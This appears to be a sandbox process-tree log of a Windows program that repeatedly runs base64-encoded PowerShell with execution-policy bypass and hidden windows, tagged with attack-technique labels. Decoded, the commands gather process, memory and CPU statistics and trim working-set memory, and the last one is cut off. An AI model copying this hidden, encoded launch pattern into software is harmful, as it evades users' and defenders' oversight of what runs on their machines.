  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:1080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:3776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:1920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:1444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAgACAAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIACgAgACAAIAAgACAAIAAgACAAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwAKACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAYwBsAGEAcwBzACAATQBlAG0AQwBvAHIAZQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBwAHMAYQBwAGkALgBkAGwAbAAiACkAXQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARQBtAHAAdAB5AFcAbwByAGsAaQBuAGcAUwBlAHQAKABJAG4AdABQAHQAcgAgAGgAdwBQAHIAbwBjACkAOwAKACAAIAAgACAAIAAgACAAIAB9AAoAIgBAAAoAIAAgACAAIAAgACAAIAAgACQAaQBkACAAPQAgACQAUABJAEQACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjACAAPQAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAJABpAGQACgAgACAAIAAgACAAIAAgACAAWwBNAGUAbQBDAG8AcgBlAF0AOgA6AEUAbQBwAHQAeQBXAG8AcgBrAGkAbgBnAFMAZQB0ACgAJABwAHIAbwBjAC4ASABhAG4AZABsAGUAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAgACAAIAAgACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2092
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0kewgatu\0kewgatu.cmdline"
      4⤵
      PID:2168
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES50BE.tmp" "c:\Users\Admin\AppData\Local\Temp\0kewgatu\CSC363F8A85896438BA18594C2D5311A23.TMP"
        5⤵
        
        PID:4760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:4064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:3204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoA